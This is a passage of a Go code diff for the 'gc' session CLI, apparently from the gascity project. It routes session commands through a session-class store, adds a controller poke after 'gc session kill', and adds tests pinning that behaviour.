-	titleDone := maybeAutoTitle(sessionFrontDoor(store), info.ID, title, titleHint, titleProvider, info.WorkDir, stderr)
+	titleDone := maybeAutoTitle(sessionFrontDoor(sessStore), info.ID, title, titleHint, titleProvider, info.WorkDir, stderr)
 	defer func() { <-titleDone }() // ensure title goroutine completes on all exit paths
 
 	if jsonOutput {
@@ -518,8 +523,8 @@ func newSessionStoredMCPMetadata(
 // channel that is closed when background title generation completes.
 // Short-lived CLI paths (e.g. --no-attach) should block on it before
 // exiting to ensure the model-refined title is persisted.
-func maybeAutoTitle(sessFront *session.InfoStore, beadID, userTitle, titleHint string, provider *config.ResolvedProvider, workDir string, stderr io.Writer) <-chan struct{} {
-	return api.MaybeGenerateTitleAsync(sessFront.Store().Store, beadID, userTitle, titleHint, provider, workDir, func(format string, args ...any) {
+func maybeAutoTitle(sessFront *session.Store, beadID, userTitle, titleHint string, provider *config.ResolvedProvider, workDir string, stderr io.Writer) <-chan struct{} {
+	return api.MaybeGenerateTitleAsync(sessFront.Store(), beadID, userTitle, titleHint, provider, workDir, func(format string, args ...any) {
 		fmt.Fprintf(stderr, "session %s: "+format+"\n", append([]any{beadID}, args...)...) //nolint:errcheck // best-effort stderr
 	})
 }
@@ -658,7 +663,7 @@ func sessionNewAliasOwner(cfg *config.City, agent *config.Agent) string {
 // waitForSession polls the provider until the session is running or timeout.
 // If a bead store is provided, it checks for early failure (bead transitioned
 // to "closed" state) and logs progress every 5 seconds.
-func waitForSession(sp runtime.Provider, sessionName string, timeout time.Duration, sessFront *session.InfoStore, beadID string, stderr io.Writer) error {
+func waitForSession(sp runtime.Provider, sessionName string, timeout time.Duration, sessFront *session.Store, beadID string, stderr io.Writer) error {
 	deadline := time.Now().Add(timeout)
 	lastProgress := time.Now()
 	for time.Now().Before(deadline) {
@@ -887,6 +892,10 @@ func doSessionListFallback(stateFilter, templateFilter string, jsonOutput bool,
 	}
 
 	providerCtx := loadSessionProviderContext()
+	// Every store consumer here is session-class (the ready gc:wait set, the
+	// session-bead list, and the session catalog), so route the whole flow through
+	// the session coordination-class store for relocation-safety.
+	sessStore := cliSessionStore(store, providerCtx.cfg, providerCtx.cityPath)
 
 	// Launch readyWaitSet concurrently with the shared session-bead load,
 	// but only on the non-JSON path — JSON output returns early and doesn't
@@ -901,12 +910,12 @@ func doSessionListFallback(stateFilter, templateFilter string, jsonOutput bool,
 		waitCh = make(chan waitResult, 1)
 
 		go func() {
-			set, err := readyWaitSetForList(store)
+			set, err := readyWaitSetForList(sessStore)
 			waitCh <- waitResult{set: set, err: err}
 		}()
 	}
 
-	allSessionBeads, err := session.ListAllSessionBeads(store, beads.ListQuery{
+	allSessionBeads, err := session.ListAllSessionBeads(sessStore, beads.ListQuery{
 		Sort: beads.SortCreatedDesc,
 	})
 	if err != nil {
@@ -919,7 +928,7 @@ func doSessionListFallback(stateFilter, templateFilter string, jsonOutput bool,
 
 	sessionBeads := newSessionBeadSnapshot(allSessionBeads)
 	sp := newSessionProviderFromContext(providerCtx, sessionBeads)
-	catalog, err := workerSessionCatalogWithConfig("", store, sp, providerCtx.cfg)
+	catalog, err := workerSessionCatalogWithConfig("", sessStore, sp, providerCtx.cfg)
 	if err != nil {
 		if jsonOutput {
 			return writeJSONError(stdout, stderr, "session_catalog_failed", fmt.Sprintf("gc session list: %v", err), 1)
@@ -1285,11 +1294,9 @@ func sessionReason(s session.Info, beadIndex map[string]beads.Bead, cfg *config.
 	}
 
 	now := time.Now().UTC()
-	lifecycle := session.ProjectLifecycle(session.LifecycleInput{
-		Status:   b.Status,
-		Metadata: b.Metadata,
-		Now:      now,
-	})
+	lcInput := session.LifecycleInputFromMetadata(b.Status, b.Metadata)
+	lcInput.Now = now
+	lifecycle := session.ProjectLifecycle(lcInput)
 	if lifecycle.BaseState == session.BaseStateArchived && !lifecycle.ContinuityEligible {
 		return "-"
 	}
@@ -1305,7 +1312,7 @@ func sessionReason(s session.Info, beadIndex map[string]beads.Bead, cfg *config.
 	// full wake reasons (including WakeConfig).
 	if cfg != nil {
 		reasons := wakeReasons(b, cfg, sp, poolDesired, nil, readyWaitSet, clock.Real{})
-		if pinAwakeWakeReasonVisible(b, cfg, time.Now().UTC()) && !containsWakeReason(reasons, WakePin) {
+		if pinAwakeWakeReasonVisible(session.InfoFromPersistedBead(b), cfg, time.Now().UTC()) && !containsWakeReason(reasons, WakePin) {
 			reasons = append(reasons, WakePin)
 		}
 		if len(reasons) > 0 {
@@ -1320,21 +1327,21 @@ func sessionReason(s session.Info, beadIndex map[string]beads.Bead, cfg *config.
 	return "-"
 }
 
-func pinAwakeWakeReasonVisible(b beads.Bead, cfg *config.City, now time.Time) bool {
-	if strings.TrimSpace(b.Metadata["pin_awake"]) != "true" || cfg == nil {
+func pinAwakeWakeReasonVisible(info session.Info, cfg *config.City, now time.Time) bool {
+	if strings.TrimSpace(info.PinAwake) != "true" || cfg == nil {
 		return false
 	}
-	state := sessionMetadataState(b)
-	if b.Status == "closed" || state == "closed" || state == "suspended" {
+	state := sessionMetadataStateInfo(info)
+	if info.Closed || state == "closed" || state == "suspended" {
 		return false
 	}
-	if isDrainedSessionBead(b) || b.Metadata["dependency_only"] == "true" || b.Metadata["wait_hold"] != "" {
+	if isDrainedSessionInfo(info) || info.DependencyOnlyMetadata == "true" || info.WaitHold != "" {
 		return false
 	}
-	if metadataTimeInFuture(b.Metadata["held_until"], now) || metadataTimeInFuture(b.Metadata["quarantined_until"], now) {
+	if metadataTimeInFuture(info.HeldUntil, now) || metadataTimeInFuture(info.QuarantinedUntil, now) {
 		return false
 	}
-	agent := findAgentByTemplate(cfg, normalizedSessionTemplate(b, cfg))
+	agent := findAgentByTemplate(cfg, normalizedSessionTemplateInfo(info, cfg))
 	if agent == nil {
 		return false
 	}
@@ -1349,21 +1356,6 @@ func metadataTimeInFuture(raw string, now time.Time) bool {
 	return err == nil && !t.IsZero() && now.Before(t)
 }
 
-func readyWaitSetForList(store beads.Store) (map[string]bool, error) {
-	items, err := loadWaitBeads(store)
-	ready := make(map[string]bool)
-	for _, item := range items {
-		if item.Metadata["state"] != waitStateReady {
-			continue
-		}
-		sessionID := item.Metadata["session_id"]
-		if sessionID != "" {
-			ready[sessionID] = true
-		}
-	}
-	return ready, err
-}
-
 // cliPoolDesired computes a static pool desired count from config.
 // Uses pool.Max as an approximation since the CLI doesn't run the
 // dynamic pool evaluator. This ensures pool sessions within Max
@@ -1424,15 +1416,19 @@ func cmdSessionAttach(args []string, stdout, stderr io.Writer) int {
 	if store == nil {
 		return code
 	}
+	// Every store consumer here is session-class (session-ID resolution, session
+	// catalog, session worker handle), so route the whole flow through the session
+	// coordination-class store for relocation-safety.
+	sessStore := cliSessionStore(store, cfg, cityPath)
 
-	sessionID, err := resolveSessionIDMaterializingNamed(cityPath, cfg, store, args[0])
+	sessionID, err := resolveSessionIDMaterializingNamed(cityPath, cfg, sessStore, args[0])
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session attach: %v\n", err) //nolint:errcheck // best-effort stderr
 		return 1
 	}
 
 	sp := newSessionProvider()
-	catalog, err := workerSessionCatalogWithConfig(cityPath, store, sp, cfg)
+	catalog, err := workerSessionCatalogWithConfig(cityPath, sessStore, sp, cfg)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session attach: %v\n", err) //nolint:errcheck // best-effort stderr
 		return 1
@@ -1444,7 +1440,7 @@ func cmdSessionAttach(args []string, stdout, stderr io.Writer) int {
 		fmt.Fprintf(stderr, "gc session attach: %v\n", err) //nolint:errcheck // best-effort stderr
 		return 1
 	}
-	handle, err := workerHandleForSessionWithConfig(cityPath, store, sp, cfg, sessionID)
+	handle, err := workerHandleForSessionWithConfig(cityPath, sessStore, sp, cfg, sessionID)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session attach: %v\n", err) //nolint:errcheck // best-effort stderr
 		return 1
@@ -1614,7 +1610,11 @@ func cmdSessionSuspend(args []string, stdout, stderr io.Writer, jsonOutput ...bo
 	if cityErr == nil {
 		cfg, _ = loadCityConfig(cityPath, stderr)
 	}
-	sessionID, err := resolveSessionIDWithConfig(cityPath, cfg, store, args[0])
+	// Every store consumer here is session-class (session-ID resolution, held_until
+	// suspend patch, session worker handle), so route the whole flow through the
+	// session coordination-class store for relocation-safety.
+	sessStore := cliSessionStore(store, cfg, cityPath)
+	sessionID, err := resolveSessionIDWithConfig(cityPath, cfg, sessStore, args[0])
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session suspend: %v\n", err) //nolint:errcheck // best-effort stderr
 		return 1
@@ -1628,7 +1628,7 @@ func cmdSessionSuspend(args []string, stdout, stderr io.Writer, jsonOutput ...bo
 			// Controller is running — metadata-only suspend.
 			// Set held_until far in the future so the reconciler drains/stops the session.
 			heldUntil := time.Now().Add(indefiniteHoldDuration).UTC().Format(time.RFC3339)
-			if err := sessionFrontDoor(store).ApplyPatch(sessionID, map[string]string{
+			if err := sessionFrontDoor(sessStore).ApplyPatch(sessionID, map[string]string{
 				"held_until":   heldUntil,
 				"sleep_intent": "user-hold",
 				"state":        "suspended",
@@ -1657,7 +1657,7 @@ func cmdSessionSuspend(args []string, stdout, stderr io.Writer, jsonOutput ...bo
 
 	// Fallback: controller not running — direct suspend via worker handle.
 	sp := newSessionProvider()
-	handle, err := workerHandleForSessionWithConfig(cityPath, store, sp, cfg, sessionID)
+	handle, err := workerHandleForSessionWithConfig(cityPath, sessStore, sp, cfg, sessionID)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session suspend: %v\n", err) //nolint:errcheck // best-effort stderr
 		return 1
@@ -1719,14 +1719,20 @@ func cmdSessionClose(args []string, stdout, stderr io.Writer, jsonOutput ...bool
 	if cityErr == nil {
 		cfg, _ = loadCityConfig(cityPath, stderr)
 	}
-	sessionID, err := resolveSessionIDWithConfig(cityPath, cfg, store, args[0])
+	// SURGICAL route: the session-class consumers (session-ID resolution, session
+	// worker handle, session bead read) go through the session coordination-class
+	// store for relocation-safety; the post-close work-release below
+	// (unclaimWorkAssignedToRetiredSessionBead) is WORK-class and stays on the
+	// generic store.
+	sessStore := cliSessionStore(store, cfg, cityPath)
+	sessionID, err := resolveSessionIDWithConfig(cityPath, cfg, sessStore, args[0])
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session close: %v\n", err) //nolint:errcheck // best-effort stderr
 		return 1
 	}
 
 	sp := newSessionProvider()
-	handle, err := workerHandleForSessionWithConfig(cityPath, store, sp, cfg, sessionID)
+	handle, err := workerHandleForSessionWithConfig(cityPath, sessStore, sp, cfg, sessionID)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session close: %v\n", err) //nolint:errcheck // best-effort stderr
 		return 1
@@ -1735,7 +1741,7 @@ func cmdSessionClose(args []string, stdout, stderr io.Writer, jsonOutput ...bool
 	// identifiers (session_name, alias, etc.) for the post-close work-release
 	// pass. Lookup is best-effort: if the session bead is already missing we
 	// fall back to a synthetic shell carrying only the resolved session ID.
-	closedSessionBead, sessionBeadErr := store.Get(sessionID)
+	closedSessionBead, sessionBeadErr := sessStore.Get(sessionID)
 	if sessionBeadErr != nil {
 		closedSessionBead = beads.Bead{ID: sessionID}
 	}
@@ -1812,14 +1818,18 @@ func cmdSessionRename(args []string, stdout, stderr io.Writer, jsonOutput ...boo
 	if err == nil {
 		cfg, _ = loadCityConfig(cityPath, stderr)
 	}
-	sessionID, err := resolveSessionIDWithConfig(cityPath, cfg, store, args[0])
+	// Both store consumers here are session-class (session-ID resolution + session
+	// worker handle), so route the whole flow through the session coordination-class
+	// store for relocation-safety.
+	sessStore := cliSessionStore(store, cfg, cityPath)
+	sessionID, err := resolveSessionIDWithConfig(cityPath, cfg, sessStore, args[0])
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session rename: %v\n", err) //nolint:errcheck // best-effort stderr
 		return 1
 	}
 
 	sp := newSessionProvider()
-	handle, err := workerHandleForSessionWithConfig(cityPath, store, sp, cfg, sessionID)
+	handle, err := workerHandleForSessionWithConfig(cityPath, sessStore, sp, cfg, sessionID)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session rename: %v\n", err) //nolint:errcheck // best-effort stderr
 		return 1
@@ -1893,8 +1903,19 @@ func cmdSessionPrune(beforeStr, statesStr string, stdout, stderr io.Writer, json
 		return code
 	}
 
+	// The session catalog and prune are session-class, so route through the
+	// session coordination-class store for relocation-safety. cityPath/cfg are
+	// resolved here (best-effort, no pack refresh) to key the class store and are
+	// reused below to withdraw queued wait nudges after the prune.
+	cityPath, cityErr := resolveCity()
+	var cfg *config.City
+	if cityErr == nil {
+		cfg, _ = loadCityConfigWithoutBuiltinPackRefresh(cityPath, io.Discard)
+	}
+	sessStore := cliSessionStore(store, cfg, cityPath)
+
 	sp := newSessionProvider()
-	catalog, err := workerSessionCatalogWithConfig("", store, sp, nil)
+	catalog, err := workerSessionCatalogWithConfig("", sessStore, sp, nil)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session prune: %v\n", err) //nolint:errcheck // best-effort stderr
 		return 1
@@ -1906,7 +1927,7 @@ func cmdSessionPrune(beforeStr, statesStr string, stdout, stderr io.Writer, json
 		fmt.Fprintf(stderr, "gc session prune: %v\n", err) //nolint:errcheck // best-effort stderr
 		return 1
 	}
-	if cityPath, err := resolveCity(); err == nil {
+	if cityErr == nil {
 		if err := withdrawQueuedWaitNudges(cityPath, result.WaitNudgeIDs); err != nil {
 			fmt.Fprintf(stderr, "gc session prune: warning: withdrawing queued wait nudges: %v\n", err) //nolint:errcheck // best-effort stderr
 		}
@@ -2128,14 +2149,18 @@ func doSessionPeekFallback(target string, lines int, jsonOutput bool, stdout, st
 	if err == nil {
 		cfg, _ = loadCityConfig(cityPath, stderr)
 	}
-	sessionID, err := resolveSessionIDWithConfig(cityPath, cfg, store, target)
+	// Both store consumers here are session-class (session-ID resolution + session
+	// worker handle), so route the whole flow through the session coordination-class
+	// store for relocation-safety.
+	sessStore := cliSessionStore(store, cfg, cityPath)
+	sessionID, err := resolveSessionIDWithConfig(cityPath, cfg, sessStore, target)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session peek: %v\n", err) //nolint:errcheck // best-effort stderr
 		return 1
 	}
 
 	sp := newSessionProvider()
-	handle, err := workerHandleForSessionWithConfig(cityPath, store, sp, cfg, sessionID)
+	handle, err := workerHandleForSessionWithConfig(cityPath, sessStore, sp, cfg, sessionID)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session peek: %v\n", err) //nolint:errcheck // best-effort stderr
 		return 1
@@ -2206,6 +2231,10 @@ Accepts a session ID (e.g., gc-42) or session alias (e.g., mayor).`,
 	return cmd
 }
 
+// sessionKillPokeController is a mutable global test seam over pokeController.
+// Tests that swap it MUST NOT call t.Parallel().
+var sessionKillPokeController = pokeController
+
 // cmdSessionKill is the CLI entry point for "gc session kill".
 func cmdSessionKill(args []string, stdout, stderr io.Writer, jsonOutput ...bool) int {
 	asJSON := sessionJSONRequested(jsonOutput)
@@ -2219,22 +2248,28 @@ func cmdSessionKill(args []string, stdout, stderr io.Writer, jsonOutput ...bool)
 	if err == nil {
 		cfg, _ = loadCityConfig(cityPath, stderr)
 	}
-	sessionID, err := resolveSessionIDWithConfig(cityPath, cfg, store, args[0])
+	// Every store consumer here is session-class (session-ID resolution, session
+	// bead read, session worker handle, circuit-breaker clear, asleep sync), so
+	// route the whole flow through the session coordination-class store for
+	// relocation-safety.
+	sessStore := cliSessionStore(store, cfg, cityPath)
+	sessionID, err := resolveSessionIDWithConfig(cityPath, cfg, sessStore, args[0])
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session kill: %v\n", err) //nolint:errcheck // best-effort stderr
 		return 1
 	}
 
 	sp := newSessionProvider()
-	bead, beadErr := store.Get(sessionID)
+	bead, beadErr := sessStore.Get(sessionID)
+	info := session.InfoFromPersistedBead(bead)
 	identity := ""
 	runtimeAlreadyInactive := false
 	if beadErr == nil {
 		identity = namedSessionIdentity(bead)
-		runtimeAlreadyInactive = sessionKillRuntimeAlreadyInactive(bead, sp)
+		runtimeAlreadyInactive = sessionKillRuntimeAlreadyInactive(info, sp)
 	}
 
-	handle, err := workerHandleForSessionWithConfig(cityPath, store, sp, cfg, sessionID)
+	handle, err := workerHandleForSessionWithConfig(cityPath, sessStore, sp, cfg, sessionID)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session kill: %v\n", err) //nolint:errcheck // best-effort stderr
 		return 1
@@ -2249,7 +2284,7 @@ func cmdSessionKill(args []string, stdout, stderr io.Writer, jsonOutput ...bool)
 	if beadErr != nil {
 		fmt.Fprintf(stderr, "gc session kill: warning: loading session %s for circuit breaker clear: %v\n", sessionID, beadErr) //nolint:errcheck // best-effort stderr
 	} else if identity != "" {
-		if err := resetSessionCircuitBreakerAfterExplicitKill(cityPath, store, sessionID, identity); err != nil {
+		if err := resetSessionCircuitBreakerAfterExplicitKill(cityPath, sessStore, sessionID, identity); err != nil {
 			fmt.Fprintf(stderr, "gc session kill: warning: clearing session circuit breaker for %q: %v\n", identity, err) //nolint:errcheck // best-effort stderr
 			if killErr != nil {
 				fmt.Fprintf(stderr, "gc session kill: %v\n", killErr) //nolint:errcheck // best-effort stderr
@@ -2270,11 +2305,22 @@ func cmdSessionKill(args []string, stdout, stderr io.Writer, jsonOutput ...bool)
 		now := time.Now().UTC()
 		patch := session.SleepPatch(now, "killed")
 		patch["synced_at"] = now.Format(time.RFC3339)
-		if err := store.SetMetadataBatch(sessionID, patch); err != nil {
+		if err := sessStore.SetMetadataBatch(sessionID, patch); err != nil {
 			fmt.Fprintf(stderr, "gc session kill: warning: syncing session %s to asleep: %v\n", sessionID, err) //nolint:errcheck // best-effort stderr
 		}
 	}
 
+	// Poke the controller after the asleep sync so the reconciler observes the
+	// killed state immediately instead of waiting a full patrol interval to
+	// revive an always-named session (#3812), the same poke-after-state-write
+	// approach the drain-ack path uses (doRuntimeDrainAck). Best-effort and
+	// unconditional: a poke failure (e.g. no controller running) is non-fatal,
+	// and a spurious poke when the asleep sync was skipped is harmless — the
+	// reconciler observes unchanged state and continues.
+	if err := sessionKillPokeController(cityPath); err != nil {
+		fmt.Fprintf(stderr, "gc session kill: warning: poke failed: %v\n", err) //nolint:errcheck // best-effort stderr
+	}
+
 	// Use the resolved session ID as the canonical Subject for event
 	// consumers. This ensures a stable key regardless of how the user
 	// specified the target (session ID or alias).
@@ -2286,7 +2332,7 @@ func cmdSessionKill(args []string, stdout, stderr io.Writer, jsonOutput ...bool)
 		Message: "killed",
 		Payload: api.SessionLifecyclePayloadJSON(sessionID, "", "killed"),
 	})
-	recordSessionKillStop(bead, beadErr, cfg)
+	recordSessionKillStop(info, beadErr, cfg)
 	if asJSON {
 		if err := writeSessionActionJSON(stdout, sessionActionResult{
 			Action:    "kill",
@@ -2308,23 +2354,23 @@ func cmdSessionKill(args []string, stdout, stderr io.Writer, jsonOutput ...bool)
 // session bead failed to load (or carries no bounded session name) nothing is
 // recorded — an unknown identity must not become a garbage metric label.
 // Purely observational: it never influences control flow or the exit code.
-func recordSessionKillStop(bead beads.Bead, beadErr error, cfg *config.City) {
+func recordSessionKillStop(info session.Info, beadErr error, cfg *config.City) {
 	if beadErr != nil {
 		return
 	}
-	sessionName := strings.TrimSpace(bead.Metadata["session_name"])
+	sessionName := strings.TrimSpace(info.SessionNameMetadata)
 	if sessionName == "" {
 		return
 	}
-	telemetry.RecordAgentStop(context.Background(), sessionName, sessionAgentMetricIdentity(bead, cfg), "killed", nil)
+	telemetry.RecordAgentStop(context.Background(), sessionName, sessionAgentMetricIdentityInfo(info, cfg), "killed", nil)
 }
 
-func sessionKillRuntimeAlreadyInactive(bead beads.Bead, sp runtime.Provider) bool {
-	switch session.State(strings.TrimSpace(bead.Metadata["state"])) {
+func sessionKillRuntimeAlreadyInactive(info session.Info, sp runtime.Provider) bool {
+	switch session.State(strings.TrimSpace(info.MetadataState)) {
 	case session.StateActive, session.StateStartPending, session.StateCreating, session.StateDraining, session.StateAwake:
 		return false
 	}
-	sessionName := strings.TrimSpace(bead.Metadata["session_name"])
+	sessionName := strings.TrimSpace(info.SessionNameMetadata)
 	return sp != nil && sessionName != "" && !sp.IsRunning(sessionName)
 }
 
@@ -2413,15 +2459,19 @@ func cmdSessionSubmit(args []string, intent session.SubmitIntent, jsonOutput boo
 	if store == nil {
 		return code
 	}
+	// Both store consumers here are session-class (session-ID resolution + session
+	// worker handle), so route the whole flow through the session coordination-class
+	// store for relocation-safety.
+	sessStore := cliSessionStore(store, cfg, cityPath)
 
-	sessionID, err := resolveSessionIDMaterializingNamed(cityPath, cfg, store, target)
+	sessionID, err := resolveSessionIDMaterializingNamed(cityPath, cfg, sessStore, target)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session submit: %v\n", err) //nolint:errcheck // best-effort stderr
 		return 1
 	}
 
 	sp := newSessionProvider()
-	handle, err := workerHandleForSessionWithConfig(cityPath, store, sp, cfg, sessionID)
+	handle, err := workerHandleForSessionWithConfig(cityPath, sessStore, sp, cfg, sessionID)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc session submit: %v\n", err) //nolint:errcheck // best-effort stderr
 		return 1
diff --git a/cmd/gc/cmd_session_kill_poke_test.go b/cmd/gc/cmd_session_kill_poke_test.go
new file mode 100644
index 0000000000..33cebfbcee
--- /dev/null
+++ b/cmd/gc/cmd_session_kill_poke_test.go
@@ -0,0 +1,122 @@
+package main
+
+import (
+	"bytes"
+	"context"
+	"errors"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/runtime"
+	sessionpkg "github.com/gastownhall/gascity/internal/session"
+)
+
+// newKillPokeSession stands up a city, store, and fake runtime for an awake
+// named session, returning the store and the session bead. The fake provider
+// is wired through buildSessionProviderByName so cmdSessionKill resolves a real
+// handle and reaches the asleep-sync + poke tail.
+func newKillPokeSession(t *testing.T, identity, sessionName string) (beads.Store, beads.Bead, string) {
+	t.Helper()
+	t.Setenv("GC_BEADS", "file")
+	t.Setenv("GC_SESSION", "fake")
+
+	cityDir := shortSocketTempDir(t, "gc-kill-poke-")
+	t.Setenv("GC_CITY", cityDir)
+	writeGenericNamedSessionCityTOML(t, cityDir)
+
+	fakeProvider := runtime.NewFake()
+	oldBuild := buildSessionProviderByName
+	buildSessionProviderByName = func(*config.City, string, config.SessionConfig, string, string) (runtime.Provider, error) {
+		return fakeProvider, nil
+	}
+	t.Cleanup(func() { buildSessionProviderByName = oldBuild })
+
+	store, err := openCityStoreAt(cityDir)
+	if err != nil {
+		t.Fatalf("openCityStoreAt: %v", err)
+	}
+	bead, err := store.Create(beads.Bead{
+		Title:  "named session",
+		Type:   sessionpkg.BeadType,
+		Labels: []string{sessionpkg.LabelSession, "template:worker"},
+		Metadata: map[string]string{
+			"alias":                      identity,
+			"template":                   "worker",
+			"agent_name":                 "gascity/gc.worker",
+			"session_name":               sessionName,
+			"state":                      "awake",
+			namedSessionMetadataKey:      "true",
+			namedSessionIdentityMetadata: identity,
+		},
+	})
+	if err != nil {
+		t.Fatalf("store.Create(session bead): %v", err)
+	}
+	if err := fakeProvider.Start(context.Background(), sessionName, runtime.Config{Command: "true"}); err != nil {
+		t.Fatalf("fakeProvider.Start: %v", err)
+	}
+	if err := fakeProvider.SetMeta(sessionName, "GC_SESSION_ID", bead.ID); err != nil {
+		t.Fatalf("SetMeta(GC_SESSION_ID): %v", err)
+	}
+	return store, bead, cityDir
+}
+
+// TestCmdSessionKill_PokesControllerAfterSleep pins #3812: a successful
+// `gc session kill` must poke the controller so the reconciler observes the
+// killed state promptly instead of waiting a full patrol interval. The poke
+// must fire exactly once, with the resolved cityPath, and only AFTER the bead
+// has been synced asleep (so the reconciler observes the killed state when it
+// converges).
+func TestCmdSessionKill_PokesControllerAfterSleep(t *testing.T) {
+	const identity = "session-a"
+	const sessionName = "s-gc-kill-poke"
+	store, bead, cityDir := newKillPokeSession(t, identity, sessionName)
+
+	calls := 0
+	var gotCityPath, stateAtPoke string
+	old := sessionKillPokeController
+	sessionKillPokeController = func(cityPath string) error {
+		calls++
+		gotCityPath = cityPath
+		if b, gErr := store.Get(bead.ID); gErr == nil {
+			stateAtPoke = b.Metadata["state"]
+		}
+		return nil
+	}
+	t.Cleanup(func() { sessionKillPokeController = old })
+
+	var stdout, stderr bytes.Buffer
+	if code := cmdSessionKill([]string{identity}, &stdout, &stderr); code != 0 {
+		t.Fatalf("cmdSessionKill = %d, want 0; stderr=%s", code, stderr.String())
+	}
+
+	if calls != 1 {
+		t.Fatalf("poke called %d times, want exactly 1", calls)
+	}
+	if gotCityPath != cityDir {
+		t.Errorf("poke cityPath = %q, want %q", gotCityPath, cityDir)
+	}
+	if stateAtPoke != string(sessionpkg.StateAsleep) {
+		t.Errorf("state at poke time = %q, want %q (poke must run after the SleepPatch write)", stateAtPoke, sessionpkg.StateAsleep)
+	}
+}
+
+// TestCmdSessionKill_PokeFailureIsNonFatal pins the best-effort contract: a
+// poke failure (e.g. no controller running) must not fail the kill — the
+// session state has already been synced asleep, so the reconciler observes it
+// on its normal convergence pass regardless of whether the poke landed.
+func TestCmdSessionKill_PokeFailureIsNonFatal(t *testing.T) {
+	const identity = "session-a"
+	const sessionName = "s-gc-kill-poke-fail"
+	_, _, _ = newKillPokeSession(t, identity, sessionName)
+
+	old := sessionKillPokeController
+	sessionKillPokeController = func(string) error { return errors.New("dial failed") }
+	t.Cleanup(func() { sessionKillPokeController = old })
+
+	var stdout, stderr bytes.Buffer
+	if code := cmdSessionKill([]string{identity}, &stdout, &stderr); code != 0 {
+		t.Fatalf("cmdSessionKill = %d, want 0 (poke failure is best-effort); stderr=%s", code, stderr.String())
+	}
+}
diff --git a/cmd/gc/cmd_session_logs.go b/cmd/gc/cmd_session_logs.go
index 1b96fb89e5..a10201e349 100644
--- a/cmd/gc/cmd_session_logs.go
+++ b/cmd/gc/cmd_session_logs.go
@@ -1,7 +1,6 @@
 package main
 
 import (
-	"context"
 	"encoding/json"
 	"fmt"
 	"io"
@@ -9,8 +8,6 @@ import (
 	"strings"
 	"time"
 
-	"github.com/gastownhall/gascity/internal/beadmeta"
-	"github.com/gastownhall/gascity/internal/beads"
 	"github.com/gastownhall/gascity/internal/config"
 	sessionpkg "github.com/gastownhall/gascity/internal/session"
 	workdirutil "github.com/gastownhall/gascity/internal/workdir"
@@ -88,7 +85,7 @@ func cmdSessionLogs(args []string, follow bool, tail int, jsonOutput bool, stdou
 	)
 	if err == nil && store != nil {
 		var diagnostic string
-		path, provider, ok, diagnostic = resolveStoredSessionLogSource(cityPath, cfg, store, identifier, searchPaths)
+		path, provider, ok, diagnostic = resolveStoredSessionLogSource(cityPath, cfg, cliSessionFrontDoor(store, cfg, cityPath), identifier, searchPaths)
 		if ok && path == "" && diagnostic != "" {
 			fmt.Fprintf(stderr, "gc session logs: %s\n", diagnostic) //nolint:errcheck // best-effort stderr
 			return 1
@@ -121,47 +118,6 @@ func resolveSessionLogPath(searchPaths []string, logCtx sessionLogContext) strin
 	return factory.DiscoverTranscript(logCtx.provider, logCtx.workDir, logCtx.sessionKey)
 }
 
-func resolveStoredSessionLogSource(cityPath string, cfg *config.City, store beads.Store, identifier string, searchPaths []string) (string, string, bool, string) {
-	logCtx, ok := resolveSessionLogContext(cityPath, cfg, store, identifier)
-	if !ok {
-		return "", "", false, ""
-	}
-	if logCtx.sessionID != "" {
-		handle, err := workerHandleForSessionWithConfig(cityPath, store, newSessionProvider(), cfg, logCtx.sessionID)
-		if err == nil {
-			if path, pathErr := handle.TranscriptPath(context.Background()); pathErr == nil && strings.TrimSpace(path) != "" {
-				return path, logCtx.provider, true, ""
-			}
-		}
-	}
-	path := ""
-	fallbackAllowed := canFallbackStoredSessionLogByWorkDir(store, logCtx)
-	if strings.TrimSpace(logCtx.sessionKey) != "" {
-		path = resolveSessionKeyedLogPath(searchPaths, logCtx)
-		if path == "" && fallbackAllowed {
-			path = resolveSessionLogPath(searchPaths, logCtx)
-		}
-	} else if fallbackAllowed {
-		path = resolveSessionLogPath(searchPaths, logCtx)
-	}
-	if !sessionLogPathFreshEnough(path, logCtx.createdAt) {
-		path = ""
-	}
-	if path == "" && fallbackAllowed {
-		factory, err := worker.NewFactory(worker.FactoryConfig{SearchPaths: searchPaths})
-		if err == nil {
-			path = factory.DiscoverWorkDirTranscript(logCtx.provider, logCtx.workDir)
-		}
-	}
-	if !sessionLogPathFreshEnough(path, logCtx.createdAt) {
-		path = ""
-	}
-	if path == "" && !fallbackAllowed {
-		return "", logCtx.provider, true, ambiguousSessionLogDiagnostic(logCtx)
-	}
-	return path, logCtx.provider, true, ""
-}
-
 func resolveSessionKeyedLogPath(searchPaths []string, logCtx sessionLogContext) string {
 	return workertranscript.DiscoverKeyedPath(searchPaths, logCtx.provider, logCtx.workDir, logCtx.sessionKey)
 }
@@ -174,35 +130,6 @@ type sessionLogContext struct {
 	createdAt  time.Time
 }
 
-func resolveSessionLogContext(cityPath string, cfg *config.City, store beads.Store, identifier string) (sessionLogContext, bool) {
-	if store == nil {
-		return sessionLogContext{}, false
-	}
-	sessionID, err := resolveSessionIDAllowClosedWithConfig(cityPath, cfg, store, identifier)
-	if err != nil {
-		return sessionLogContext{}, false
-	}
-	b, err := store.Get(sessionID)
-	if err != nil {
-		return sessionLogContext{}, false
-	}
-	workDir := strings.TrimSpace(b.Metadata[beadmeta.LegacyWorkDirMetadataKey])
-	if workDir == "" {
-		return sessionLogContext{}, false
-	}
-	provider := strings.TrimSpace(b.Metadata["provider_kind"])
-	if provider == "" {
-		provider = strings.TrimSpace(b.Metadata["provider"])
-	}
-	return sessionLogContext{
-		sessionID:  sessionID,
-		workDir:    workDir,
